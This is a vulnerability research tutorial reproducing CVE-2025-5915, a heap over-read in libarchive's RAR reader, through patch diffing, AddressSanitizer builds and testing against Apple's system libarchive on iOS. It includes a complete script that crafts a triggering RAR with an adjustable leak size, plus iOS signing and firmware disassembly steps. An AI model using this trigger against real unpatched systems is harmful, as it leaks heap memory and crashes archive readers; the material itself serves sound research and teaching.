CVE-2025-5915 reproduced against Apple's system libarchive on iOS 18.5: a crafted RAR leaks ~57 KB of adjacent heap into the archive output, then aborts under AddressSanitizer.

CVE-2025-5915 is a heap buffer over-read in libarchive, the archive-handling library that ships as part of iOS and macOS. On Apple platforms it lives in the dyld shared cache as libarchive.2.dylib, and a long tail of third-party apps (file managers, unarchivers, backup clients, anything that opens a .zip, .tar, .rar or .7z) either link against it or bundle their own copy.

That makes it a high-value target. An archive is attacker-controlled data that users routinely open without thinking: an email attachment, an AirDrop, a file downloaded in Safari and tapped in Files.app. Any memory-safety bug in the code that parses it is reachable from a file the attacker fully controls.

The bug was found and reported to libarchive by JJLeo in issue #2565 on 5 April 2025, crediting research by Yifan Zhang of PLL at Peking University.

In this article we are going to work out what CVE-2025-5915 actually is by patch diffing: starting from the commit that fixed it and reasoning backwards to the vulnerability. Then we will prove the analysis was right by crashing the vulnerable code, first on the desktop and then on a real iPhone.

Patch diffing is the entry point to most vulnerability research. When a project publishes a fix, it also publishes a precise description of what was broken, if you know how to read it. That skill is what turns a CVE identifier into an understanding you can build on.

CVE-2025-5915 at a glance

  • Component: libarchive — RAR (v4) reader, LZSS filter path (copy_from_lzss_window)
  • Impact: Heap buffer over-read — disclosure of adjacent heap memory (information disclosure), and denial of service
  • Fix: "rar: Fix heap-buffer-overflow (#2599)" — a bounds check tying the filter block length to the LZSS window size (commit a612bf62, released in 3.8.0)
  • Reported by: JJLeo in libarchive issue #2565, crediting research by Yifan Zhang (PLL, Peking University)
  • Affected / fixed: libarchive ≤ 3.7.9, fixed in 3.8.0. No separate Apple advisory: iOS 18.5 ships the vulnerable libarchive 3.7.4; 18.6 quietly backports the fix.
Learn this hands-on

Patch diffing, building sanitizer harnesses, and reproducing a memory-safety bug on a real iPhone is exactly what you practice in iOS Userland Fuzzing & Exploitation: AFL++/LibAFL, LLDB, and 0-click exploit development against real Apple targets on a Corellium iPhone.

Explore the iOS Userland Fuzzing course →

What we are going to do

This is an introductory walkthrough. We will:

  1. Find the patch. Locate the upstream commit that fixed the bug.
  2. Diff it. Read the fix and work backwards to understand what was wrong.
  3. Build both sides. Compile the vulnerable and fixed versions with AddressSanitizer so memory errors become loud instead of silent.
  4. Build our own trigger from the conditions the patch revealed, rather than extracting the one upstream shipped.
  5. Confirm the analysis by crashing the vulnerable build on the desktop.
  6. Reproduce it on iOS, first with our own build on-device, then against Apple's system libarchive across several releases.
  7. Inspect the trigger in radare2 to see how little of the archive changed.

This article is aimed at beginners getting started with Vulnerability Research. You will need a Mac with Xcode and CMake, plus a jailbroken iPhone with SSH for the on-device part. You can also make use of the virtual devices we provide in our labs.

Step 1: Getting the source and finding the patch

Start by making a working directory and cloning upstream into it:

mkdir cve-2025-5915
cd cve-2025-5915
git clone https://github.com/libarchive/libarchive.git src
cd src

The CVE tells us it was fixed in 3.8.0. That is a whole release, containing hundreds of commits, so we need to narrow it down. Since we know the bug is a heap overflow in the RAR reader, we can search the log:

git log --oneline --grep=heap-buffer-overflow
Searching the libarchive git log for RAR memory-safety fixes
Searching the libarchive git log for RAR memory-safety fixes.

a612bf62 is our commit. Let us confirm it lands where the CVE says it does:

Finding git commit version tag
Finding git commit version tag.
in 3.8.0

Vulnerable through 3.7.9, fixed in 3.8.0, exactly matching the advisory.

Upstream already ships a PoC

Look at what the commit touched:

git show --stat a612bf62
The fix commit ships a regression test asset alongside the patch
The fix commit ships a regression test asset alongside the patch.

The last file, test_read_format_rar_overflow.rar.uu, is a regression test asset: a 328-byte RAR that triggers the bug, committed alongside the fix so it cannot come back unnoticed. Security fixes often ship one, and it is worth knowing they are there.

We are going to build our own trigger instead, from what the patch tells us. It is the more useful exercise, and the reasoning carries over to targets that do not hand you a crash file.

Step 2: Patch diffing, or reading the fix backwards

Patch diffing means taking a security fix and reasoning backwards from it to understand the vulnerability. The fix tells you what the developers thought was wrong; your job is to work out why the old code was dangerous.

git show a612bf62 -- libarchive/archive_read_support_format_rar.c

Finding the hunk that matters

That command prints seven separate hunks, and this is where most people get stuck. A security commit almost never contains only the security fix. This one contains:

  1. A function signature change, void *buffer becoming uint8_t *buffer.
  2. Five return (ARCHIVE_FATAL) statements rewritten as goto bad_data.
  3. A one-line correction inside a memcpy call.
  4. A new two-line bounds check.

Only one of those is the vulnerability. Four techniques will tell you which, and they are worth internalising because they work on almost any patch.

Look for an added check. Memory-safety fixes overwhelmingly take one shape: a new condition that refuses to continue, if (a > b) return. Changes that move code around, adjust types, or restructure control flow are usually supporting changes. Here, item 1 exists only so the pointer arithmetic in item 3 compiles, and item 2 routes error paths through a cleanup label. Both are housekeeping. That leaves items 3 and 4 as real candidates.

Match the diff against the words in the advisory. The CVE text says the bug is "the size of a filter block potentially exceeding the LZSS window". Treat that as two nouns to hunt for: a filter block size and a window size. Only one hunk in the entire commit mentions both, and it compares them directly.

Ask which change, reverted on its own, brings the bug back. Undo the goto conversions and libarchive still reads out of bounds. Undo the bounds check and it does so immediately. That is a decisive test, and you can actually run it.

Read the test the commit ships. Developers rarely explain a vulnerability in the commit message, but the regression test states the expected behaviour precisely:

assertEqualInt(48, archive_entry_size(ae));
/* The next call should reproduce Issue #2565 */
assertEqualIntA(a, ARCHIVE_FATAL, archive_read_data_block(a, &buff, &size, &offset));

Two gifts in four lines. The entry declares an uncompressed size of 48 bytes, which is the value that shrinks the decompression window, and reading its data must now fail with ARCHIVE_FATAL rather than succeeding. It even gives you an issue number to go and read.

That issue is #2565, the original report. It already names the function we are about to arrive at, copy_from_lzss_window, and carries an AddressSanitizer trace showing a 188-byte read out of a 64-byte allocation. Those two numbers are what upstream's own trigger produces.

With that, here is the hunk that matters:

The one-line bounds check that fixes CVE-2025-5915
The one-line bounds check that fixes CVE-2025-5915.

A single added bounds check in parse_filter(). Two variables matter:

  • blocklength is how many bytes a filter wants to process. RAR v4 supports small bytecode "filters" that post-process decompressed data, and the filter declares its own block length. It comes from the archive, so an attacker controls it.
  • rar->dictionary_size is the size of the LZSS window, the sliding history buffer the decompressor copies matches out of.

Before the fix, nothing tied these two together. Now find where the window is allocated, in parse_codes():

grep -n "new_window = realloc" -B 10 -A 6 libarchive/archive_read_support_format_rar.c
The LZSS window allocation in parse_codes, sized from attacker-controlled unp_size
The LZSS window allocation in parse_codes, sized from attacker-controlled unp_size.

The window is sized from unp_size, the declared uncompressed size of the entry, which is also attacker-controlled and comes straight out of the archive header. A small declared size produces a small window.

This is where the 48 from the regression test pays off. rar_fls() returns the highest power of two not greater than its argument, so for our trigger:

unp_size  = 48                  (the value the test asserts)
rar_fls(48) = 32                (highest power of two <= 48)
new_size  = 32 << 1 = 64        (the LZSS window allocation)

A declared size of 48 buys a 64-byte window. Declare something smaller and you get a smaller window. Nothing checks that figure against how much data the entry really produces.

Now follow blocklength to where it is used, in copy_from_lzss_window():

memcpy(buffer, &rar->lzss.window[windowoffs], length);

length derives from blocklength. Nothing has checked it against the size of rar->lzss.window.

That is the bug. Two independently attacker-controlled values with no relationship enforced between them:

  1. unp_size, straight out of the file header, sets how big the window is
  2. blocklength, carried in the compressed stream, sets how much gets copied out of it

Make the second larger than the first and memcpy reads straight off the end of the allocation and into whatever the allocator happened to put there. That is the "heap buffer over-read", and it is why the CVE lists information disclosure from adjacent memory alongside denial of service.

Note what this gives us. The over-read is not a fixed quantity, it is blocklength - dictionary_size, and we influence both terms. Hold on to that; in Step 4 it becomes the dial we use to decide how much memory to leak.

A second bug in the same commit

The same patch fixes a separate wrap-around defect a few lines down:

   if (firstpart < length) {
     memcpy(buffer, &rar->lzss.window[windowoffs], firstpart);
-    memcpy(buffer, &rar->lzss.window[0], length - firstpart);
+    memcpy(buffer + firstpart, &rar->lzss.window[0], length - firstpart);

When a copy wraps around the end of the circular window, the second memcpy was writing back to the start of buffer, clobbering what the first copy had just written, instead of appending at buffer + firstpart. The signature change from void *buffer to uint8_t *buffer in the same commit exists purely to make that pointer arithmetic legal.

The remaining hunks convert several return (ARCHIVE_FATAL) statements into goto bad_data, so error paths unwind through the function's cleanup block rather than leaving the decompressor in a half-initialised state.

Step 3: Building both sides with AddressSanitizer

To see a memory error rather than infer it, we build with AddressSanitizer (ASan). ASan surrounds every heap allocation with poisoned "redzones" and checks each memory access against a shadow map. Without it, reading off the end of a heap buffer often does nothing visible at all, because the bytes are usually still inside a mapped page, so the CPU raises no fault and the program carries on with silently wrong data. ASan is what turns that invisible corruption into a loud, precise report.

Use git worktree to check out both sides of the fix simultaneously. Run this from inside src, where you have been working so far:

git worktree add ../rar-vuln a612bf62^
git worktree add ../rar-fixed a612bf62

The ^ suffix means "the parent of this commit", which is the last vulnerable state of the tree.

Note the ../ in those paths. The worktrees are created next to src, not inside it, so your layout is now:

cve-2025-5915/
├── benign_filter.rar   the legitimate archive we will modify
├── src/                the clone you have been working in
├── rar-vuln/           worktree at a612bf62^  (vulnerable)
└── rar-fixed/          worktree at a612bf62   (fixed)

Everything from here on runs from cve-2025-5915/, so step back up and stay there:

cd ..

You need two bsdtar binaries: one built from the vulnerable tree and one from the fixed tree. The whole reproduction depends on running the same file through both, so do not skip the second build.

Binary 1: the vulnerable build

cmake -S rar-vuln -B rar-vuln/b -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DENABLE_TEST=OFF -DBUILD_SHARED_LIBS=OFF -DENABLE_OPENSSL=OFF -DENABLE_LIBXML2=OFF -DENABLE_EXPAT=OFF -DENABLE_ICONV=OFF -DENABLE_LZ4=OFF -DENABLE_ZSTD=OFF
cmake --build rar-vuln/b --target bsdtar --parallel 8
Building the vulnerable and fixed trees with AddressSanitizer
Building the vulnerable and fixed trees with AddressSanitizer.

Binary 2: the fixed build

Exactly the same two commands, with rar-vuln swapped for rar-fixed everywhere:

cmake -S rar-fixed -B rar-fixed/b -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DENABLE_TEST=OFF -DBUILD_SHARED_LIBS=OFF -DENABLE_OPENSSL=OFF -DENABLE_LIBXML2=OFF -DENABLE_EXPAT=OFF -DENABLE_ICONV=OFF -DENABLE_LZ4=OFF -DENABLE_ZSTD=OFF
cmake --build rar-fixed/b --target bsdtar --parallel 8

Disabling the optional codecs keeps the build fast and dependency-free; none of them are involved in the bug.

Check you have both

Before moving on, confirm both binaries exist:

ls -l rar-vuln/b/bin/bsdtar rar-fixed/b/bin/bsdtar

If the second path reports No such file or directory, the fixed build did not run. Go back and run the Binary 2 commands. You will need it in the next step.

Step 4: Building the trigger from the patch

The patch gives the crash condition as a single inequality:

if (blocklength > rar->dictionary_size)
  return 0;

Any file that makes that true will crash a pre-3.8.0 libarchive. Both sides come from the archive, but they are not equally easy to reach.

dictionary_size is straightforward. Step 2 showed it comes from unp_size:

new_size = rar_fls((unsigned int)rar->unp_size) << 1;

unp_size is the entry's declared uncompressed size, a 4-byte little-endian integer sitting in the RAR file header, and nothing checks it against how much data the entry really produces. We can set it to anything.

blocklength is harder. It is emitted by a RAR VM filter program encoded inside the compressed stream, so producing one from scratch would mean writing a RAR compressor. Instead, borrow one. Any archive that already uses a filter carries a blocklength, and libarchive's test suite ships several:

git show a612bf62:libarchive/test/test_read_format_rar_filter.rar.uu | uudecode -p > ../benign_filter.rar

That archive is legitimate and extracts cleanly on both builds. Its filter asks for a 65536-byte block against a 262144-byte window, so the inequality is false by a wide margin.

Which gives us the approach: leave the filter alone and shrink the window under it. Drop unp_size far enough and 65536 > dictionary_size becomes true.

Writing make_poc.py

Editing unp_size by hand does not work, because every RAR block header carries a CRC16 over itself. Change a byte and libarchive rejects the file with Header CRC error before the decompressor sees anything. The script has to rewrite the field and repair the checksum.

RAR v4 blocks are laid out like this, relative to the start of each block:

offset 0  HEAD_CRC    2 bytes   low 16 bits of crc32 over header[2:HEAD_SIZE]
offset 2  HEAD_TYPE   1 byte    0x73 = archive header, 0x74 = file header
offset 3  HEAD_FLAGS  2 bytes
offset 5  HEAD_SIZE   2 bytes   length of this header
offset 7  ADD_SIZE    4 bytes   present when HEAD_FLAGS & 0x8000, size of the
                                data body that follows the header

Start with a walker. The file opens with a 7-byte signature, and each block tells you how far the next one is: HEAD_SIZE, plus ADD_SIZE when the long block flag is set.

MARKER = b"Rar!\x1a\x07\x00"

def walk(data):
    pos = len(MARKER)
    while pos + 11 <= len(data):
        htype = data[pos + 2]
        flags, hsize = struct.unpack_from("<HH", data, pos + 3)
        if hsize < 7 or pos + hsize > len(data):
            break
        yield pos, htype, hsize, flags
        advance = hsize
        if flags & 0x8000:
            advance += struct.unpack_from("<I", data, pos + 7)[0]
        pos += advance

Next, the field. unp_size lives at offset 11 inside a file header, after PACK_SIZE. Find the first block of type 0x74 and overwrite it:

for pos, htype, hsize, flags in walk(data):
    if htype == 0x74:
        struct.pack_into("<I", out, pos + 11, new_unp_size)
        break

Then repair the checksums. The CRC covers the header from offset 2 to HEAD_SIZE, and it is the low 16 bits of a standard CRC-32:

for pos, htype, hsize, flags in walk(bytes(out)):
    crc = binascii.crc32(bytes(out[pos + 2:pos + hsize])) & 0xFFFF
    struct.pack_into("<H", out, pos, crc)

Walk the chain a second time for this, after the edit, so the recomputed CRC covers the modified header.

Finally, work out what the result should do, so the script states a prediction you can check against AddressSanitizer:

def rar_fls(x):
    p = 1
    while p * 2 <= x:
        p *= 2
    return p

window = rar_fls(new_unp_size) << 1
print(f"over-read should be 65536 - {window} = {65536 - window} bytes")

The whole script:

#!/usr/bin/env python3
"""
Build a CVE-2025-5915 trigger from scratch, using only what the patch tells us.

The fix (libarchive commit a612bf62) adds a single bounds check to parse_filter():

    if (blocklength > rar->dictionary_size)
      return 0;

So the crash condition is exactly:

    blocklength > dictionary_size

Two values, and we control both from the archive:

  dictionary_size  is the LZSS window. parse_codes() sizes it from unp_size,
                   the entry's *declared* uncompressed size, a plain 4-byte
                   field in the RAR file header:

                       new_size = rar_fls(unp_size) << 1

  blocklength      is how many bytes a RAR VM filter asks to copy out of that
                   window. It is emitted by the filter program encoded inside
                   the compressed stream, not a header field.

Authoring a RAR VM filter by hand would mean writing a RAR compressor. We do
not need to. Any archive that already uses a filter has a blocklength baked in.
So we take a benign filter-using archive and shrink the window underneath it
until the inequality holds.

Every RAR block header carries a CRC16 over itself, so after editing unp_size
we have to repair the checksum or libarchive rejects the file with
"Header CRC error" before the decompressor ever runs.

Usage:
    ./make_poc.py <benign-filter.rar> <output.rar> [unp_size]
"""
import binascii
import struct
import sys

MARKER = b"Rar!\x1a\x07\x00"
LONG_BLOCK = 0x8000
FILE_HEAD = 0x74

# Offsets inside a RAR v4 block header, relative to the start of the block.
OFF_CRC, OFF_TYPE, OFF_FLAGS, OFF_HSIZE = 0, 2, 3, 5
OFF_PACKSIZE, OFF_UNPSIZE = 7, 11


def rar_fls(x):
    """Highest power of two not greater than x. Mirrors libarchive's rar_fls()."""
    p = 1
    while p * 2 <= x:
        p *= 2
    return p


def walk(data):
    """Yield (offset, type, header_size, flags) for each RAR v4 block."""
    if not data.startswith(MARKER):
        raise SystemExit("not a RAR v4 archive (bad signature)")
    pos = len(MARKER)
    while pos + 11 <= len(data):
        htype = data[pos + OFF_TYPE]
        flags, hsize = struct.unpack_from("<HH", data, pos + OFF_FLAGS)
        if hsize < 7 or pos + hsize > len(data):
            break
        yield pos, htype, hsize, flags
        advance = hsize
        if flags & LONG_BLOCK:
            advance += struct.unpack_from("<I", data, pos + OFF_PACKSIZE)[0]
        if advance <= 0:
            break
        pos += advance


def fix_header_crcs(data):
    """Recompute the CRC16 on every block header."""
    out = bytearray(data)
    for pos, _htype, hsize, _flags in walk(bytes(out)):
        crc = binascii.crc32(bytes(out[pos + 2:pos + hsize])) & 0xFFFF
        struct.pack_into("<H", out, pos + OFF_CRC, crc)
    return bytes(out)


def main():
    if len(sys.argv) < 3:
        sys.exit(__doc__.strip().splitlines()[-1])

    src, dst = sys.argv[1], sys.argv[2]
    new_unp = int(sys.argv[3]) if len(sys.argv) > 3 else 16

    data = open(src, "rb").read()

    # Locate the first file header and its unp_size field.
    target = None
    for pos, htype, hsize, flags in walk(data):
        kind = {0x73: "MAIN_HEAD", 0x74: "FILE_HEAD"}.get(htype, hex(htype))
        line = f"  block @ 0x{pos:04x}  type={kind:<10} hsize={hsize}"
        if htype == FILE_HEAD:
            packed, unp = struct.unpack_from("<II", data, pos + OFF_PACKSIZE)
            line += f"  pack_size={packed}  unp_size={unp}"
            if target is None:
                target = (pos + OFF_UNPSIZE, unp)
        print(line)

    if target is None:
        sys.exit("no file header found")

    unp_off, old_unp = target
    old_win = rar_fls(old_unp) << 1 if old_unp else 0
    new_win = rar_fls(new_unp) << 1 if new_unp else 0

    print()
    print(f"unp_size field at offset 0x{unp_off:02x}")
    print(f"  before : unp_size={old_unp:<10} window={old_win}")
    print(f"  after  : unp_size={new_unp:<10} window={new_win}")
    print()

    out = bytearray(data)
    struct.pack_into("<I", out, unp_off, new_unp)
    out = fix_header_crcs(bytes(out))

    open(dst, "wb").write(out)
    print(f"wrote {dst} ({len(out)} bytes)")
    print()
    print("The filter in this archive asks for a 65536-byte block, so the")
    print(f"over-read should be 65536 - {new_win} = {65536 - new_win} bytes")
    print("past the end of the window allocation.")


if __name__ == "__main__":
    main()

Run it:

python3 make_poc.py ../benign_filter.rar ../poc.rar 16

unp_size sits at 0x1f in this archive rather than the 0x12 a minimal RAR would use, because a real archive has a MAIN_HEAD block before the file header. Hence the walker rather than a hard-coded offset.

Every number came from the patch: the inequality from the added bounds check, the window formula from parse_codes(), and the 65536 from the filter already present in the archive.

Step 5: Reproducing the crash

Extract the archive rather than listing it. bsdtar -tf only walks headers and prints filenames, and the vulnerable code sits in the decompressor, which runs when data is unpacked. Listing the trigger prints one line and exits.

mkdir out && cd out
ASAN_OPTIONS=detect_leaks=0 ../rar-vuln/b/bin/bsdtar -xf ../poc.rar
AddressSanitizer heap-buffer-overflow report on macOS
AddressSanitizer heap-buffer-overflow report on macOS.

Compare that against what make_poc.py predicted before we ran anything:

  • READ of size 65504 is exactly 65536 - 32, the filter's block length minus the window we shrank.
  • 0 bytes after 32-byte region is the window itself. We set unp_size=16, and rar_fls(16) << 1 = 32.
  • allocated by ... realloc ... parse_codes is the allocation site we traced in Step 2.
  • in copy_from_lzss_window is the memcpy we predicted.

65,504 bytes of adjacent heap, read out of bounds. Every number here was derivable from the patch before running anything.

Now the control. Same file, fixed build:

../rar-fixed/b/bin/bsdtar -xf ../poc.rar
The fixed build rejects the same archive without crashing
The fixed build rejects the same archive without crashing.

No crash. The blocklength > rar->dictionary_size check rejects the archive before the copy runs. Same input, same command, and the patch is the only difference between the two builds.

Controlling the leak size

The leak size is a parameter. unp_size sets the window, and the over-read is whatever remains of the filter's 65536-byte block:

for u in 16 64 256 4096; do python3 ../make_poc.py ../benign_filter.rar ../p_$u.rar $u; done
unp_sizewindowpredicted over-readASan reported
16326550465504
641286540865408
2565126502465024
409681925734457344

The reported over-read matches the prediction in all four cases. Upstream's test_read_format_rar_overflow.rar declares unp_size=48, which gives a 64-byte window and a 124-byte over-read.

Step 6: Reproducing the crash on iOS

CVE-2025-5915 was filed against libarchive, not against any operating system that ships it, and at the time of writing there is no public analysis of whether it reaches iOS. Apple keeps its own copy of libarchive in the dyld shared cache, patched on Apple's schedule rather than upstream's, so the answer is not implied by the CVE record either way.

We tested it. iOS 18.5 shipped a vulnerable libarchive, and Apple fixed it in 18.6 by backporting the upstream patch without changing the version string. This section covers both halves: first running our own instrumented build on iOS to confirm the bug behaves the same way on arm64, then checking Apple's system library across several releases.

Cross-compiling for iOS arm64

Step 5 left you inside out/, so step back up to cve-2025-5915/ first:

cd ..

CMake supports iOS as a target directly:

cmake -S rar-vuln -B rar-vuln/iosasan -DCMAKE_SYSTEM_NAME=iOS -DCMAKE_OSX_ARCHITECTURES=arm64 -DCMAKE_OSX_DEPLOYMENT_TARGET=14.0 -DCMAKE_MACOSX_BUNDLE=OFF -DCMAKE_BUILD_TYPE=Debug -DBUILD_SHARED_LIBS=OFF -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address -Wl,-rpath,@executable_path" -DENABLE_TEST=OFF -DENABLE_TAR=ON -DENABLE_OPENSSL=OFF -DENABLE_LIBXML2=OFF -DENABLE_EXPAT=OFF -DENABLE_ICONV=OFF -DENABLE_LZ4=OFF -DENABLE_ZSTD=OFF -DENABLE_LZMA=OFF -DENABLE_BZip2=OFF -DENABLE_CNG=OFF

cmake --build rar-vuln/iosasan --target bsdtar --parallel 8
Cross-compiling libarchive and bsdtar for iOS arm64
Cross-compiling libarchive and bsdtar for iOS arm64.

Two flags are easy to miss:

  • -DCMAKE_MACOSX_BUNDLE=OFF, without which CMake tries to build bsdtar as an app bundle and the configure step fails with "INSTALL TARGETS given no BUNDLE DESTINATION".
  • -Wl,-rpath,@executable_path, because ASan on iOS is a dynamic library. The binary must be able to find it next to itself at runtime.

Shipping the ASan runtime

Unlike macOS, iOS has no system copy of the sanitizer runtime, so we carry it along:

cp "$(xcode-select -p)/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/21/lib/darwin/libclang_rt.asan_ios_dynamic.dylib" .

Getting it onto the device

Copy the trigger and the tools over:

ssh root@10.11.1.1 'mkdir -p /var/root/cve5915'
scp poc.rar benign_filter.rar ent.plist root@10.11.1.1:/var/root/cve5915/

scp has a habit of dropping the executables with Connection closed. Pipe them through stdin instead:

base64 -i syslib_probe | ssh root@10.11.1.1 'base64 -d > /var/root/cve5915/syslib_probe'

The flags differ by side. macOS base64 reads a file with -i, while the device runs GNU coreutils and decodes with -d. Passing -D there fails silently and leaves a zero-byte file, so check with ls -l afterwards.

Unsigned binaries are killed at launch with exit 137 and no output at all, which looks like the program doing nothing. They need entitlements, in ent.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
  <key>platform-application</key><true/>
  <key>com.apple.private.security.no-container</key><true/>
  <key>get-task-allow</key><true/>
</dict></plist>
ssh root@10.11.1.1 'cd /var/root/cve5915 && chmod +x syslib_probe && ldid -Sent.plist syslib_probe'
Copying and ldid-signing the binaries on the device
Copying and ldid-signing the binaries on the device.

The ASan build needs two extra things. The runtime cannot live in /var/root: the sandbox refuses to mmap() a dylib from there regardless of signature, and you get Library not loaded: @rpath/libclang_rt... with file system sandbox blocked mmap(). Put the binary and the runtime somewhere trusted such as /usr/bin, since the link uses -rpath,@executable_path and they have to sit together. They also need signing differently: the executable takes the entitlements, the dylib must be signed without them or AMFI rejects it.

base64 -i rar-vuln/iosasan/bin/bsdtar | ssh root@10.11.1.1 'base64 -d > /usr/bin/bsdtar-asan'
base64 -i libclang_rt.asan_ios_dynamic.dylib | ssh root@10.11.1.1 'base64 -d > /usr/bin/libclang_rt.asan_ios_dynamic.dylib'

ssh root@10.11.1.1 'chmod +x /usr/bin/bsdtar-asan && ldid -S /usr/bin/libclang_rt.asan_ios_dynamic.dylib && ldid -S/var/root/cve5915/ent.plist /usr/bin/bsdtar-asan'

Then run it:

cd /var/root/cve5915 && mkdir -p x && cd x
ASAN_OPTIONS=detect_leaks=0 /usr/bin/bsdtar-asan -xf ../poc.rar
AddressSanitizer heap-buffer-overflow triggered on a physical iPhone running iOS 26.1
AddressSanitizer heap-buffer-overflow triggered on a physical iPhone running iOS 26.1.

The same finding as on the desktop, on arm64. If something goes wrong, the usual causes:

symptomcause
exit 137, no outputnot signed, or signed without platform-application
scp: Connection closeduse the base64 pipe
zero-byte file after transferused base64 -D on the device, it wants -d
Parsing filters is unsupportediOS 18.0 or older, libarchive 3.5.3, not affected
Bad RAR file datadevice is patched, iOS 18.6 or later
Library not loaded: @rpath/libclang_rt…ASan binary must run from /usr/bin, not /var/root

Apple's own libarchive

The run above used our build. Apple's copy is the one that matters for anything shipping on a device, and its version number does not settle the question: libarchive 3.7.4 sits inside the affected range, but Apple backports fixes without changing version strings, so the number tells you nothing on its own.

We checked the code instead, and found iOS 18.5 shipping libarchive 3.7.4 with the bounds check missing.

Finding the vulnerable code in the firmware

You do not need a device to check a release. ipsw pulls the dyld shared cache straight out of a remote IPSW:

ipsw download ipsw --device iPhone15,2 --version 18.5 --dyld --dyld-arch arm64e --confirm

The version string is a grep away, since the cache is just bytes:

LC_ALL=C grep -aoh "libarchive 3\.[0-9][0-9.]*" dyld_shared_cache_arm64e*
libarchive 3.7.4

In range, so we need the function itself. parse_filter is static, but the cache ships local symbols. Watch out for the fact that libarchive defines two functions with that name, one in the RAR v4 reader and one in RAR5. The one we want sits next to parse_codes and copy_from_lzss_window:

ipsw dyld symaddr dyld_shared_cache_arm64e --image /usr/lib/libarchive.2.dylib | grep parse_filter
ipsw dyld disass dyld_shared_cache_arm64e --vaddr 0x1e52bf1fc

Do the same for 18.6 and diff the two. The later build has ten instructions the earlier one does not:

ldur  x9, [fp, #-0x68]     ; the rar struct
ldr   w9, [x9, #0xe8]      ; a 32-bit field at +0xe8
ldr   w8, [sp, #0x44]      ; blocklength
subs  w8, w8, w9           ; compare the two
b.ls  LBL                  ; skip ahead if blocklength <= field
stur  wzr, [fp, #-0x44]    ; otherwise return 0

That is if (blocklength > rar->dictionary_size) return 0; compiled. To confirm +0xe8 really is dictionary_size, look at where parse_codes writes it, immediately after the allocation that creates the window:

0x1e52bbda0:  bl   _malloc_type_realloc_stub
0x1e52bbde8:  str  w8, [x9, #0xe8]        ; rar->dictionary_size = new_size

iOS 18.5 does not have the check. iOS 18.6 does. The timing lines up: libarchive 3.8.0 carried the fix upstream on 20 May 2025, and iOS 18.5 shipped on 12 May, eight days earlier, so there was no fix in existence for Apple to take. They picked it up in 18.6.

Confirming it on a device

Static analysis is worth checking against a running system, so we put an iOS 18.5 instance up on Corellium and asked the system library directly.

syslib_probe.c links against /usr/lib/libarchive.2.dylib the same way any app would, prints the version, and pushes an archive through the full read path. Draining each entry's body is the part that matters, since the vulnerable code is in the decompressor and only runs when data is unpacked. Given a second argument it also writes the decompressed bytes out, which we use further down.

/*
 * syslib_probe: drive an archive through libarchive and report what happened.
 *
 * Links against the system library, so on iOS this is Apple's
 * /usr/lib/libarchive.2.dylib. The iOS SDK ships libarchive.2.tbd, so -larchive
 * is enough:
 *
 *   xcrun --sdk iphoneos clang -arch arm64 -miphoneos-version-min=12.0 \
 *       -isysroot "$(xcrun --sdk iphoneos --show-sdk-path)" \
 *       -Isrc/libarchive -o syslib_probe syslib_probe.c -larchive
 *
 * Usage:
 *   ./syslib_probe                        print the library version
 *   ./syslib_probe a.rar                  parse it, report the outcome
 *   ./syslib_probe a.rar out.bin          also write the decompressed bytes
 *
 * Exit codes:
 *   0  archive read to completion
 *   3  ARCHIVE_FATAL or a data error
 *   4  could not open the archive
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <archive.h>
#include <archive_entry.h>

int main(int argc, char **argv)
{
	struct archive *a;
	struct archive_entry *ae;
	FILE *out = NULL;
	char buf[65536];
	size_t total = 0;
	int entries = 0, r;
	la_ssize_t n;

	printf("archive_version_string : %s\n", archive_version_string());
	printf("archive_version_number : %d\n", archive_version_number());

	if (argc < 2) {
		printf("(no archive given, version probe only)\n");
		return 0;
	}

	a = archive_read_new();
	archive_read_support_filter_all(a);
	archive_read_support_format_all(a);

	if (archive_read_open_filename(a, argv[1], 10240) != ARCHIVE_OK) {
		printf("open failed: %s\n", archive_error_string(a));
		archive_read_free(a);
		return 4;
	}

	if (argc > 2 && (out = fopen(argv[2], "wb")) == NULL) {
		perror("fopen");
		archive_read_free(a);
		return 4;
	}

	for (;;) {
		r = archive_read_next_header(a, &ae);
		if (r == ARCHIVE_EOF)
			break;
		if (r == ARCHIVE_FATAL) {
			printf("RESULT: ARCHIVE_FATAL after %d entries: %s\n",
			    entries, archive_error_string(a));
			if (out) fclose(out);
			archive_read_free(a);
			return 3;
		}
		entries++;
		if (out)
			printf("entry: %s (declared size %lld)\n",
			    archive_entry_pathname(ae),
			    (long long)archive_entry_size(ae));

		/*
		 * Draining the entry body is what makes this useful: the
		 * vulnerable code is in the decompressor, and it only runs when
		 * the data is actually unpacked.
		 */
		while ((n = archive_read_data(a, buf, sizeof(buf))) > 0) {
			if (out)
				fwrite(buf, 1, (size_t)n, out);
			total += (size_t)n;
		}
		if (n < 0) {
			printf("RESULT: data error after %d entries: %s\n",
			    entries, archive_error_string(a));
			if (out) {
				fclose(out);
				printf("wrote %zu bytes to %s\n", total, argv[2]);
			}
			archive_read_free(a);
			return 3;
		}
	}

	printf("RESULT: read %d entries, no fatal error\n", entries);
	if (out) {
		fclose(out);
		printf("wrote %zu bytes to %s\n", total, argv[2]);
	}
	archive_read_free(a);
	return 0;
}

Build it against the SDK's libarchive.2.tbd:

xcrun --sdk iphoneos clang -arch arm64 -miphoneos-version-min=12.0 -isysroot "$(xcrun --sdk iphoneos --show-sdk-path)" -Isrc/libarchive -o syslib_probe syslib_probe.c -larchive

xcrun otool -L syslib_probe | grep archive should report /usr/lib/libarchive.2.dylib, confirming it resolves to the system copy at runtime instead of linking a local build.

First, what to look for. Building the probe against upstream 3.7.4 and against the fix gives two different messages for the same input:

upstream 3.7.4, unpatched : RESULT: data error after 1 entries: File CRC error
a612bf62, patched         : RESULT: data error after 1 entries: Bad RAR file data

